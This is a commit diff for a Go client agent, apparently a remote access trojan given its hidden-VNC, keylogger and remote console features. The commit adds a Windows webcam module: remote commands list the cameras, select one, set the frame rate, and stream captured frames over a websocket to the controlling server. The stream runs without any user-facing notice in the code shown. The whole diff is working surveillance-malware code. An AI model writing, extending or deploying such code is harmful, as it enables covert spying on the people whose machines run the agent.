webcam
This commit is contained in:
@@ -0,0 +1,23 @@
|
|||||||
|
//go:build !windows
|
||||||
|
|
||||||
|
package capture
|
||||||
|
|
||||||
|
type WebcamDeviceInfo struct {
|
||||||
|
Index int
|
||||||
|
Name string
|
||||||
|
MaxFPS int
|
||||||
|
}
|
||||||
|
|
||||||
|
func ListWebcams() ([]WebcamDeviceInfo, error) {
|
||||||
|
return []WebcamDeviceInfo{}, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func ClampWebcamFPS(_ int, requestedFPS int, _ bool) (int, error) {
|
||||||
|
if requestedFPS < 1 {
|
||||||
|
requestedFPS = 30
|
||||||
|
}
|
||||||
|
if requestedFPS > 120 {
|
||||||
|
requestedFPS = 120
|
||||||
|
}
|
||||||
|
return requestedFPS, nil
|
||||||
|
}
|
||||||
@@ -0,0 +1,161 @@
|
|||||||
|
//go:build windows
|
||||||
|
|
||||||
|
package capture
|
||||||
|
|
||||||
|
import (
|
||||||
|
"fmt"
|
||||||
|
"math"
|
||||||
|
|
||||||
|
cam "github.com/Kirizu-Official/windows-camera-go/camera/v1"
|
||||||
|
)
|
||||||
|
|
||||||
|
type WebcamDeviceInfo struct {
|
||||||
|
Index int
|
||||||
|
Name string
|
||||||
|
MaxFPS int
|
||||||
|
}
|
||||||
|
|
||||||
|
func ListWebcams() ([]WebcamDeviceInfo, error) {
|
||||||
|
webcamMu.Lock()
|
||||||
|
defer webcamMu.Unlock()
|
||||||
|
|
||||||
|
temporaryInit := false
|
||||||
|
if !webcamInitDone {
|
||||||
|
if err := cam.Init(); err != nil {
|
||||||
|
return nil, fmt.Errorf("webcam init failed: %w", err)
|
||||||
|
}
|
||||||
|
webcamInitDone = true
|
||||||
|
temporaryInit = true
|
||||||
|
}
|
||||||
|
|
||||||
|
devices, err := cam.EnumDevice()
|
||||||
|
if err != nil {
|
||||||
|
if temporaryInit && webcamActive == nil {
|
||||||
|
cam.Shutdown()
|
||||||
|
webcamInitDone = false
|
||||||
|
}
|
||||||
|
return nil, fmt.Errorf("webcam enumerate failed: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
out := make([]WebcamDeviceInfo, 0, len(devices))
|
||||||
|
for i, dev := range devices {
|
||||||
|
name := dev.Name
|
||||||
|
if name == "" {
|
||||||
|
name = fmt.Sprintf("Camera %d", i+1)
|
||||||
|
}
|
||||||
|
maxFPS := 30
|
||||||
|
if webcamActive != nil && webcamActive.deviceIndex == i && webcamActive.captureFPS > 0 {
|
||||||
|
maxFPS = int(math.Round(webcamActive.captureFPS))
|
||||||
|
} else if fps, fpsErr := webcamMaxSupportedFPSNoLock(dev.SymbolLink); fpsErr == nil && fps > 0 {
|
||||||
|
maxFPS = fps
|
||||||
|
}
|
||||||
|
out = append(out, WebcamDeviceInfo{Index: i, Name: name, MaxFPS: maxFPS})
|
||||||
|
}
|
||||||
|
|
||||||
|
if temporaryInit && webcamActive == nil {
|
||||||
|
cam.Shutdown()
|
||||||
|
webcamInitDone = false
|
||||||
|
}
|
||||||
|
|
||||||
|
return out, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func ClampWebcamFPS(deviceIndex int, requestedFPS int, useMax bool) (int, error) {
|
||||||
|
if requestedFPS < 1 {
|
||||||
|
requestedFPS = 30
|
||||||
|
}
|
||||||
|
if requestedFPS > 120 {
|
||||||
|
requestedFPS = 120
|
||||||
|
}
|
||||||
|
|
||||||
|
maxFPS, err := webcamMaxSupportedFPS(deviceIndex)
|
||||||
|
if err != nil {
|
||||||
|
return requestedFPS, err
|
||||||
|
}
|
||||||
|
if maxFPS <= 0 {
|
||||||
|
return requestedFPS, nil
|
||||||
|
}
|
||||||
|
if useMax || requestedFPS > maxFPS {
|
||||||
|
return maxFPS, nil
|
||||||
|
}
|
||||||
|
return requestedFPS, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func webcamMaxSupportedFPS(deviceIndex int) (int, error) {
|
||||||
|
webcamMu.Lock()
|
||||||
|
defer webcamMu.Unlock()
|
||||||
|
|
||||||
|
if webcamActive != nil && webcamActive.deviceIndex == deviceIndex && webcamActive.captureFPS > 0 {
|
||||||
|
return int(math.Round(webcamActive.captureFPS)), nil
|
||||||
|
}
|
||||||
|
|
||||||
|
temporaryInit := false
|
||||||
|
if !webcamInitDone {
|
||||||
|
if err := cam.Init(); err != nil {
|
||||||
|
return 0, fmt.Errorf("webcam init failed: %w", err)
|
||||||
|
}
|
||||||
|
webcamInitDone = true
|
||||||
|
temporaryInit = true
|
||||||
|
}
|
||||||
|
|
||||||
|
devices, err := cam.EnumDevice()
|
||||||
|
if err != nil {
|
||||||
|
if temporaryInit && webcamActive == nil {
|
||||||
|
cam.Shutdown()
|
||||||
|
webcamInitDone = false
|
||||||
|
}
|
||||||
|
return 0, fmt.Errorf("webcam enumerate failed: %w", err)
|
||||||
|
}
|
||||||
|
if len(devices) == 0 {
|
||||||
|
if temporaryInit && webcamActive == nil {
|
||||||
|
cam.Shutdown()
|
||||||
|
webcamInitDone = false
|
||||||
|
}
|
||||||
|
return 0, fmt.Errorf("no webcam devices detected")
|
||||||
|
}
|
||||||
|
if deviceIndex < 0 || deviceIndex >= len(devices) {
|
||||||
|
deviceIndex = 0
|
||||||
|
}
|
||||||
|
|
||||||
|
maxFPS, err := webcamMaxSupportedFPSNoLock(devices[deviceIndex].SymbolLink)
|
||||||
|
if err != nil {
|
||||||
|
if temporaryInit && webcamActive == nil {
|
||||||
|
cam.Shutdown()
|
||||||
|
webcamInitDone = false
|
||||||
|
}
|
||||||
|
return 0, err
|
||||||
|
}
|
||||||
|
|
||||||
|
if temporaryInit && webcamActive == nil {
|
||||||
|
cam.Shutdown()
|
||||||
|
webcamInitDone = false
|
||||||
|
}
|
||||||
|
|
||||||
|
return maxFPS, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func webcamMaxSupportedFPSNoLock(symbolLink string) (int, error) {
|
||||||
|
device, err := cam.OpenDevice(symbolLink)
|
||||||
|
if err != nil {
|
||||||
|
return 0, fmt.Errorf("open webcam failed: %w", err)
|
||||||
|
}
|
||||||
|
defer device.CloseDevice()
|
||||||
|
|
||||||
|
formats, err := device.EnumerateCaptureFormats()
|
||||||
|
if err != nil {
|
||||||
|
return 0, fmt.Errorf("enumerate webcam formats failed: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
maxFPS := 0
|
||||||
|
for _, format := range formats {
|
||||||
|
if !isJPEGSubtype(format) && !isH264Subtype(format) {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
fps := int(math.Round(format.Fps))
|
||||||
|
if fps > maxFPS {
|
||||||
|
maxFPS = fps
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return maxFPS, nil
|
||||||
|
}
|
||||||
@@ -0,0 +1,17 @@
|
|||||||
|
//go:build !windows
|
||||||
|
|
||||||
|
package capture
|
||||||
|
|
||||||
|
import (
|
||||||
|
"context"
|
||||||
|
"errors"
|
||||||
|
|
||||||
|
rt "overlord-client/cmd/agent/runtime"
|
||||||
|
)
|
||||||
|
|
||||||
|
func NowWebcam(_ context.Context, _ *rt.Env) error {
|
||||||
|
return errors.New("webcam capture is only supported on Windows")
|
||||||
|
}
|
||||||
|
|
||||||
|
func CleanupWebcam() {
|
||||||
|
}
|
||||||
@@ -0,0 +1,238 @@
|
|||||||
|
//go:build windows
|
||||||
|
|
||||||
|
package capture
|
||||||
|
|
||||||
|
import (
|
||||||
|
"context"
|
||||||
|
"fmt"
|
||||||
|
"log"
|
||||||
|
"sync"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
cam "github.com/Kirizu-Official/windows-camera-go/camera/v1"
|
||||||
|
"github.com/Kirizu-Official/windows-camera-go/windows/guid"
|
||||||
|
|
||||||
|
rt "overlord-client/cmd/agent/runtime"
|
||||||
|
"overlord-client/cmd/agent/wire"
|
||||||
|
)
|
||||||
|
|
||||||
|
type webcamState struct {
|
||||||
|
deviceIndex int
|
||||||
|
device *cam.Device
|
||||||
|
capture *cam.CaptureSync
|
||||||
|
format string
|
||||||
|
captureFPS float64
|
||||||
|
}
|
||||||
|
|
||||||
|
var (
|
||||||
|
webcamMu sync.Mutex
|
||||||
|
webcamInitDone bool
|
||||||
|
webcamActive *webcamState
|
||||||
|
)
|
||||||
|
|
||||||
|
func NowWebcam(ctx context.Context, env *rt.Env) error {
|
||||||
|
if ctx.Err() != nil {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
capture, deviceIndex, format, err := ensureWebcamCapture(env.WebcamDeviceIndex)
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
|
||||||
|
sample, err := capture.GetFrame()
|
||||||
|
if err != nil {
|
||||||
|
resetWebcamState()
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
if sample == nil || sample.PpSample == nil {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
buffer, err := capture.Device.ParseSampleToBuffer(sample.PpSample)
|
||||||
|
if err != nil {
|
||||||
|
sample.Release()
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
if buffer == nil {
|
||||||
|
sample.Release()
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
frameBytes := make([]byte, int(buffer.Length))
|
||||||
|
copy(frameBytes, buffer.Buffer[:buffer.Length])
|
||||||
|
buffer.Release()
|
||||||
|
sample.Release()
|
||||||
|
|
||||||
|
frame := wire.Frame{
|
||||||
|
Type: "frame",
|
||||||
|
Header: wire.FrameHeader{
|
||||||
|
Monitor: deviceIndex,
|
||||||
|
FPS: 0,
|
||||||
|
Format: format,
|
||||||
|
Webcam: true,
|
||||||
|
},
|
||||||
|
Data: frameBytes,
|
||||||
|
}
|
||||||
|
if ctx.Err() != nil {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
// Do not use the stream-cancel context for socket writes; canceling an in-flight
|
||||||
|
// write during webcam_stop can tear down the whole websocket on some transports.
|
||||||
|
writeCtx, cancel := context.WithTimeout(context.Background(), 2*time.Second)
|
||||||
|
defer cancel()
|
||||||
|
return wire.WriteMsg(writeCtx, env.Conn, frame)
|
||||||
|
}
|
||||||
|
|
||||||
|
func CleanupWebcam() {
|
||||||
|
webcamMu.Lock()
|
||||||
|
closeWebcamLocked()
|
||||||
|
webcamMu.Unlock()
|
||||||
|
}
|
||||||
|
|
||||||
|
func ensureWebcamCapture(requestedIndex int) (*cam.CaptureSync, int, string, error) {
|
||||||
|
webcamMu.Lock()
|
||||||
|
defer webcamMu.Unlock()
|
||||||
|
|
||||||
|
if requestedIndex < 0 {
|
||||||
|
requestedIndex = 0
|
||||||
|
}
|
||||||
|
if webcamActive != nil && webcamActive.capture != nil && webcamActive.deviceIndex == requestedIndex {
|
||||||
|
return webcamActive.capture, webcamActive.deviceIndex, webcamActive.format, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
closeWebcamLocked()
|
||||||
|
|
||||||
|
if !webcamInitDone {
|
||||||
|
if err := cam.Init(); err != nil {
|
||||||
|
return nil, 0, "", fmt.Errorf("webcam init failed: %w", err)
|
||||||
|
}
|
||||||
|
webcamInitDone = true
|
||||||
|
}
|
||||||
|
|
||||||
|
devices, err := cam.EnumDevice()
|
||||||
|
if err != nil {
|
||||||
|
return nil, 0, "", fmt.Errorf("webcam enumerate failed: %w", err)
|
||||||
|
}
|
||||||
|
if len(devices) == 0 {
|
||||||
|
return nil, 0, "", fmt.Errorf("no webcam devices detected")
|
||||||
|
}
|
||||||
|
if requestedIndex >= len(devices) {
|
||||||
|
requestedIndex = 0
|
||||||
|
}
|
||||||
|
|
||||||
|
deviceInfo := devices[requestedIndex]
|
||||||
|
device, err := cam.OpenDevice(deviceInfo.SymbolLink)
|
||||||
|
if err != nil {
|
||||||
|
return nil, 0, "", fmt.Errorf("open webcam failed: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
formats, err := device.EnumerateCaptureFormats()
|
||||||
|
if err != nil {
|
||||||
|
device.CloseDevice()
|
||||||
|
return nil, 0, "", fmt.Errorf("enumerate webcam formats failed: %w", err)
|
||||||
|
}
|
||||||
|
if len(formats) == 0 {
|
||||||
|
device.CloseDevice()
|
||||||
|
return nil, 0, "", fmt.Errorf("no webcam capture formats available")
|
||||||
|
}
|
||||||
|
selected, selectedFormat := selectWebcamFormat(formats)
|
||||||
|
if selected == nil {
|
||||||
|
device.CloseDevice()
|
||||||
|
return nil, 0, "", fmt.Errorf("no JPEG/H264 webcam format available")
|
||||||
|
}
|
||||||
|
capture, err := device.StartCapture(selected)
|
||||||
|
if err != nil {
|
||||||
|
device.CloseDevice()
|
||||||
|
return nil, 0, "", fmt.Errorf("start webcam capture failed: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
webcamActive = &webcamState{
|
||||||
|
deviceIndex: requestedIndex,
|
||||||
|
device: device,
|
||||||
|
capture: capture,
|
||||||
|
format: selectedFormat,
|
||||||
|
captureFPS: selected.Fps,
|
||||||
|
}
|
||||||
|
log.Printf("webcam: selected device=%q index=%d format=%s %dx%d@%.2ffps", deviceInfo.Name, requestedIndex, selectedFormat, selected.Width, selected.Height, selected.Fps)
|
||||||
|
return capture, requestedIndex, selectedFormat, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func selectWebcamFormat(formats []*cam.CaptureFormats) (*cam.CaptureFormats, string) {
|
||||||
|
var best *cam.CaptureFormats
|
||||||
|
bestScore := -1.0
|
||||||
|
bestFormat := ""
|
||||||
|
for _, format := range formats {
|
||||||
|
streamFormat := ""
|
||||||
|
if isJPEGSubtype(format) {
|
||||||
|
streamFormat = "jpeg"
|
||||||
|
} else if isH264Subtype(format) {
|
||||||
|
streamFormat = "h264"
|
||||||
|
}
|
||||||
|
if streamFormat == "" {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
score := formatScore(format)
|
||||||
|
if streamFormat == "jpeg" {
|
||||||
|
score += 100_000_000
|
||||||
|
}
|
||||||
|
if streamFormat == "h264" && !format.IsCompressedFormat {
|
||||||
|
// Prefer compressed H264 camera output where available.
|
||||||
|
score -= 10_000_000
|
||||||
|
}
|
||||||
|
if score > bestScore {
|
||||||
|
best = format
|
||||||
|
bestScore = score
|
||||||
|
bestFormat = streamFormat
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return best, bestFormat
|
||||||
|
}
|
||||||
|
|
||||||
|
func isJPEGSubtype(format *cam.CaptureFormats) bool {
|
||||||
|
if format == nil || format.SubType == nil {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
return format.SubType.IsMatch(&guid.SubTypeMediaSubTypeMJPG) ||
|
||||||
|
format.SubType.IsMatch(&guid.SubTypeMediaSubTypeIJPG)
|
||||||
|
}
|
||||||
|
|
||||||
|
func isH264Subtype(format *cam.CaptureFormats) bool {
|
||||||
|
if format == nil || format.SubType == nil {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
return format.SubType.IsMatch(&guid.SubTypeMediaSubTypeH264)
|
||||||
|
}
|
||||||
|
|
||||||
|
func formatScore(format *cam.CaptureFormats) float64 {
|
||||||
|
if format == nil {
|
||||||
|
return -1
|
||||||
|
}
|
||||||
|
score := float64(format.Width*format.Height) + format.Fps*1000
|
||||||
|
if format.IsCompressedFormat {
|
||||||
|
score += 5_000_000
|
||||||
|
}
|
||||||
|
if isJPEGSubtype(format) {
|
||||||
|
score += 10_000_000
|
||||||
|
}
|
||||||
|
if format.MajorType != nil && (*format.MajorType).IsMatch(&guid.MajorTypeVideo) {
|
||||||
|
score += 1_000_000
|
||||||
|
}
|
||||||
|
return score
|
||||||
|
}
|
||||||
|
|
||||||
|
func resetWebcamState() {
|
||||||
|
webcamMu.Lock()
|
||||||
|
defer webcamMu.Unlock()
|
||||||
|
if webcamActive != nil {
|
||||||
|
webcamActive.device.CloseDevice()
|
||||||
|
webcamActive = nil
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func closeWebcamLocked() {
|
||||||
|
if webcamActive != nil {
|
||||||
|
webcamActive.device.CloseDevice()
|
||||||
|
webcamActive = nil
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -82,6 +82,18 @@ func resetForReconnect(env *runtime.Env) {
|
|||||||
env.HVNCSelectedDisplay = 0
|
env.HVNCSelectedDisplay = 0
|
||||||
env.HVNCMu.Unlock()
|
env.HVNCMu.Unlock()
|
||||||
|
|
||||||
|
env.WebcamMu.Lock()
|
||||||
|
if env.WebcamCancel != nil {
|
||||||
|
env.WebcamCancel()
|
||||||
|
}
|
||||||
|
waitStreamStop(env.WebcamDone, "webcam")
|
||||||
|
env.WebcamCancel = nil
|
||||||
|
env.WebcamDone = nil
|
||||||
|
env.WebcamDeviceIndex = 0
|
||||||
|
env.WebcamFPS = 30
|
||||||
|
env.WebcamUseMaxFPS = false
|
||||||
|
env.WebcamMu.Unlock()
|
||||||
|
|
||||||
if env.Console != nil {
|
if env.Console != nil {
|
||||||
env.Console.StopAll()
|
env.Console.StopAll()
|
||||||
}
|
}
|
||||||
@@ -1264,6 +1276,97 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
|||||||
sendCommandResultSafe(env, cmdID, true, "")
|
sendCommandResultSafe(env, cmdID, true, "")
|
||||||
return nil
|
return nil
|
||||||
|
|
||||||
|
case "webcam_start":
|
||||||
|
env.WebcamMu.Lock()
|
||||||
|
if env.WebcamCancel != nil {
|
||||||
|
env.WebcamCancel()
|
||||||
|
waitStreamStop(env.WebcamDone, "webcam")
|
||||||
|
}
|
||||||
|
webcamCtx, cancel := context.WithCancel(ctx)
|
||||||
|
env.WebcamCancel = cancel
|
||||||
|
done := make(chan struct{})
|
||||||
|
env.WebcamDone = done
|
||||||
|
goSafe("webcam stream", env.Cancel, func() {
|
||||||
|
log.Printf("webcam: start requested")
|
||||||
|
_ = WebcamStart(webcamCtx, env)
|
||||||
|
close(done)
|
||||||
|
})
|
||||||
|
env.WebcamMu.Unlock()
|
||||||
|
sendCommandResultSafe(env, cmdID, true, "")
|
||||||
|
return nil
|
||||||
|
case "webcam_list":
|
||||||
|
devices, err := capture.ListWebcams()
|
||||||
|
if err != nil {
|
||||||
|
sendCommandResultSafe(env, cmdID, false, err.Error())
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
out := make([]wire.WebcamDevice, 0, len(devices))
|
||||||
|
for _, dev := range devices {
|
||||||
|
out = append(out, wire.WebcamDevice{Index: dev.Index, Name: dev.Name, MaxFPS: dev.MaxFPS})
|
||||||
|
}
|
||||||
|
_ = wire.WriteMsg(ctx, env.Conn, wire.WebcamDevices{Type: "webcam_devices", Devices: out, Selected: env.WebcamDeviceIndex})
|
||||||
|
sendCommandResultSafe(env, cmdID, true, "")
|
||||||
|
return nil
|
||||||
|
case "webcam_select":
|
||||||
|
payload, _ := envelope["payload"].(map[string]interface{})
|
||||||
|
index := 0
|
||||||
|
if payload != nil {
|
||||||
|
if n, ok := payloadInt(payload, "index"); ok {
|
||||||
|
index = n
|
||||||
|
}
|
||||||
|
}
|
||||||
|
env.WebcamDeviceIndex = index
|
||||||
|
capture.CleanupWebcam()
|
||||||
|
sendCommandResultSafe(env, cmdID, true, "")
|
||||||
|
return nil
|
||||||
|
case "webcam_set_fps":
|
||||||
|
payload, _ := envelope["payload"].(map[string]interface{})
|
||||||
|
env.WebcamMu.Lock()
|
||||||
|
isStreaming := env.WebcamCancel != nil
|
||||||
|
env.WebcamMu.Unlock()
|
||||||
|
if isStreaming {
|
||||||
|
sendCommandResultSafe(env, cmdID, false, "stop webcam before changing fps")
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
fps := env.WebcamFPS
|
||||||
|
useMax := env.WebcamUseMaxFPS
|
||||||
|
if payload != nil {
|
||||||
|
if n, ok := payloadInt(payload, "fps"); ok {
|
||||||
|
fps = n
|
||||||
|
}
|
||||||
|
if v, ok := payload["useMax"].(bool); ok {
|
||||||
|
useMax = v
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if fps < 1 {
|
||||||
|
fps = 30
|
||||||
|
}
|
||||||
|
if fps > 120 {
|
||||||
|
fps = 120
|
||||||
|
}
|
||||||
|
clampedFPS, clampErr := capture.ClampWebcamFPS(env.WebcamDeviceIndex, fps, useMax)
|
||||||
|
if clampErr != nil {
|
||||||
|
log.Printf("webcam: fps clamp fallback requested=%d err=%v", fps, clampErr)
|
||||||
|
} else {
|
||||||
|
fps = clampedFPS
|
||||||
|
}
|
||||||
|
env.WebcamFPS = fps
|
||||||
|
env.WebcamUseMaxFPS = useMax
|
||||||
|
sendCommandResultSafe(env, cmdID, true, "")
|
||||||
|
return nil
|
||||||
|
case "webcam_stop":
|
||||||
|
env.WebcamMu.Lock()
|
||||||
|
log.Printf("webcam: stop requested")
|
||||||
|
if env.WebcamCancel != nil {
|
||||||
|
env.WebcamCancel()
|
||||||
|
}
|
||||||
|
waitStreamStop(env.WebcamDone, "webcam")
|
||||||
|
env.WebcamCancel = nil
|
||||||
|
env.WebcamDone = nil
|
||||||
|
env.WebcamMu.Unlock()
|
||||||
|
sendCommandResultSafe(env, cmdID, true, "")
|
||||||
|
return nil
|
||||||
|
|
||||||
case "console_start":
|
case "console_start":
|
||||||
sessionID, _ := envelopePayloadString(envelope, "sessionId")
|
sessionID, _ := envelopePayloadString(envelope, "sessionId")
|
||||||
cols, rows := envelopePayloadInts(envelope)
|
cols, rows := envelopePayloadInts(envelope)
|
||||||
|
|||||||
@@ -0,0 +1,55 @@
|
|||||||
|
package handlers
|
||||||
|
|
||||||
|
import (
|
||||||
|
"context"
|
||||||
|
"log"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"overlord-client/cmd/agent/capture"
|
||||||
|
rt "overlord-client/cmd/agent/runtime"
|
||||||
|
)
|
||||||
|
|
||||||
|
func WebcamStart(ctx context.Context, env *rt.Env) error {
|
||||||
|
fps := env.WebcamFPS
|
||||||
|
if fps <= 0 {
|
||||||
|
fps = 30
|
||||||
|
}
|
||||||
|
if env.WebcamUseMaxFPS {
|
||||||
|
fps = 60
|
||||||
|
}
|
||||||
|
if fps > 120 {
|
||||||
|
fps = 120
|
||||||
|
}
|
||||||
|
interval := time.Second / time.Duration(fps)
|
||||||
|
log.Printf("webcam: starting stream (max fps %d)", fps)
|
||||||
|
defer capture.CleanupWebcam()
|
||||||
|
ticker := time.NewTicker(interval)
|
||||||
|
defer ticker.Stop()
|
||||||
|
lastErrText := ""
|
||||||
|
lastErrLogAt := time.Time{}
|
||||||
|
|
||||||
|
for {
|
||||||
|
select {
|
||||||
|
case <-ctx.Done():
|
||||||
|
log.Printf("webcam: stopping stream")
|
||||||
|
return nil
|
||||||
|
case <-ticker.C:
|
||||||
|
if err := capture.NowWebcam(ctx, env); err != nil {
|
||||||
|
if ctx.Err() != nil {
|
||||||
|
log.Printf("webcam: stopping stream")
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
errText := err.Error()
|
||||||
|
now := time.Now()
|
||||||
|
if errText != lastErrText || now.Sub(lastErrLogAt) >= 2*time.Second {
|
||||||
|
log.Printf("webcam: capture error: %v", err)
|
||||||
|
lastErrText = errText
|
||||||
|
lastErrLogAt = now
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
lastErrText = ""
|
||||||
|
lastErrLogAt = time.Time{}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -34,6 +34,12 @@ type Env struct {
|
|||||||
HVNCCancel context.CancelFunc
|
HVNCCancel context.CancelFunc
|
||||||
HVNCDone chan struct{}
|
HVNCDone chan struct{}
|
||||||
HVNCMu sync.Mutex
|
HVNCMu sync.Mutex
|
||||||
|
WebcamDeviceIndex int
|
||||||
|
WebcamFPS int
|
||||||
|
WebcamUseMaxFPS bool
|
||||||
|
WebcamCancel context.CancelFunc
|
||||||
|
WebcamDone chan struct{}
|
||||||
|
WebcamMu sync.Mutex
|
||||||
// Other fields
|
// Other fields
|
||||||
Plugins *plugins.Manager
|
Plugins *plugins.Manager
|
||||||
Keylogger *keylogger.Keylogger
|
Keylogger *keylogger.Keylogger
|
||||||
|
|||||||
@@ -315,6 +315,9 @@ func shouldRetryImmediately(err error) bool {
|
|||||||
if strings.Contains(msg, "timed out from inactivity") {
|
if strings.Contains(msg, "timed out from inactivity") {
|
||||||
return true
|
return true
|
||||||
}
|
}
|
||||||
|
if strings.Contains(msg, "use of closed network connection") || strings.Contains(msg, "failed to get reader") {
|
||||||
|
return true
|
||||||
|
}
|
||||||
return false
|
return false
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -499,6 +502,10 @@ func readLoop(ctx context.Context, conn *websocket.Conn, env *rt.Env, dispatcher
|
|||||||
if ctx.Err() != nil {
|
if ctx.Err() != nil {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
|
var closeErr *websocket.CloseError
|
||||||
|
if errors.As(err, &closeErr) {
|
||||||
|
log.Printf("readLoop: websocket close code=%d reason=%q", closeErr.Code, closeErr.Reason)
|
||||||
|
}
|
||||||
log.Printf("readLoop: read error: %v", err)
|
log.Printf("readLoop: read error: %v", err)
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -48,6 +48,7 @@ type FrameHeader struct {
|
|||||||
FPS int `msgpack:"fps"`
|
FPS int `msgpack:"fps"`
|
||||||
Format string `msgpack:"format"`
|
Format string `msgpack:"format"`
|
||||||
HVNC bool `msgpack:"hvnc,omitempty"`
|
HVNC bool `msgpack:"hvnc,omitempty"`
|
||||||
|
Webcam bool `msgpack:"webcam,omitempty"`
|
||||||
}
|
}
|
||||||
|
|
||||||
type Frame struct {
|
type Frame struct {
|
||||||
@@ -185,3 +186,15 @@ type Notification struct {
|
|||||||
Keyword string `msgpack:"keyword,omitempty"`
|
Keyword string `msgpack:"keyword,omitempty"`
|
||||||
TS int64 `msgpack:"ts,omitempty"`
|
TS int64 `msgpack:"ts,omitempty"`
|
||||||
}
|
}
|
||||||
|
|
||||||
|
type WebcamDevice struct {
|
||||||
|
Index int `msgpack:"index"`
|
||||||
|
Name string `msgpack:"name"`
|
||||||
|
MaxFPS int `msgpack:"maxFps,omitempty"`
|
||||||
|
}
|
||||||
|
|
||||||
|
type WebcamDevices struct {
|
||||||
|
Type string `msgpack:"type"`
|
||||||
|
Devices []WebcamDevice `msgpack:"devices"`
|
||||||
|
Selected int `msgpack:"selected"`
|
||||||
|
}
|
||||||
|
|||||||
@@ -1,6 +1,6 @@
|
|||||||
module overlord-client
|
module overlord-client
|
||||||
|
|
||||||
go 1.23
|
go 1.24
|
||||||
|
|
||||||
require (
|
require (
|
||||||
github.com/creack/pty v1.1.21
|
github.com/creack/pty v1.1.21
|
||||||
@@ -13,6 +13,7 @@ require (
|
|||||||
)
|
)
|
||||||
|
|
||||||
require (
|
require (
|
||||||
|
github.com/Kirizu-Official/windows-camera-go v0.2.0
|
||||||
github.com/gen2brain/malgo v0.11.24
|
github.com/gen2brain/malgo v0.11.24
|
||||||
golang.org/x/sys v0.24.0
|
golang.org/x/sys v0.24.0
|
||||||
)
|
)
|
||||||
@@ -25,4 +26,5 @@ require (
|
|||||||
github.com/jezek/xgb v1.1.1 // indirect
|
github.com/jezek/xgb v1.1.1 // indirect
|
||||||
github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
|
github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
|
||||||
github.com/vmihailenco/tagparser/v2 v2.0.0 // indirect
|
github.com/vmihailenco/tagparser/v2 v2.0.0 // indirect
|
||||||
|
gopkg.in/yaml.v3 v3.0.1 // indirect
|
||||||
)
|
)
|
||||||
|
|||||||
@@ -1,3 +1,5 @@
|
|||||||
|
github.com/Kirizu-Official/windows-camera-go v0.2.0 h1:wF8s6US/me/d5WaBeoHGVKE8mBOl83kKTfMV38YYQ3g=
|
||||||
|
github.com/Kirizu-Official/windows-camera-go v0.2.0/go.mod h1:zMP4SmblRxD6zQHe4X07CHO4lnNcWo6zeZhQavO2aLQ=
|
||||||
github.com/creack/pty v1.1.21 h1:1/QdRyBaHHJP61QkWMXlOIBfsgdDeeKfK8SYVUWJKf0=
|
github.com/creack/pty v1.1.21 h1:1/QdRyBaHHJP61QkWMXlOIBfsgdDeeKfK8SYVUWJKf0=
|
||||||
github.com/creack/pty v1.1.21/go.mod h1:MOBLtS5ELjhRRrroQr9kyvTxUAFNvYEK993ew/Vr4O4=
|
github.com/creack/pty v1.1.21/go.mod h1:MOBLtS5ELjhRRrroQr9kyvTxUAFNvYEK993ew/Vr4O4=
|
||||||
github.com/davecgh/go-spew v1.1.0 h1:ZDRjVQ15GmhC3fiQ8ni8+OwkZQO4DARzQgrnXU1Liz8=
|
github.com/davecgh/go-spew v1.1.0 h1:ZDRjVQ15GmhC3fiQ8ni8+OwkZQO4DARzQgrnXU1Liz8=
|
||||||
@@ -35,7 +37,9 @@ github.com/vmihailenco/tagparser/v2 v2.0.0/go.mod h1:Wri+At7QHww0WTrCBeu4J6bNtoV
|
|||||||
golang.org/x/sys v0.0.0-20201018230417-eeed37f84f13/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
golang.org/x/sys v0.0.0-20201018230417-eeed37f84f13/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||||
golang.org/x/sys v0.24.0 h1:Twjiwq9dn6R1fQcyiK+wQyHWfaz/BJB+YIpzU/Cv3Xg=
|
golang.org/x/sys v0.24.0 h1:Twjiwq9dn6R1fQcyiK+wQyHWfaz/BJB+YIpzU/Cv3Xg=
|
||||||
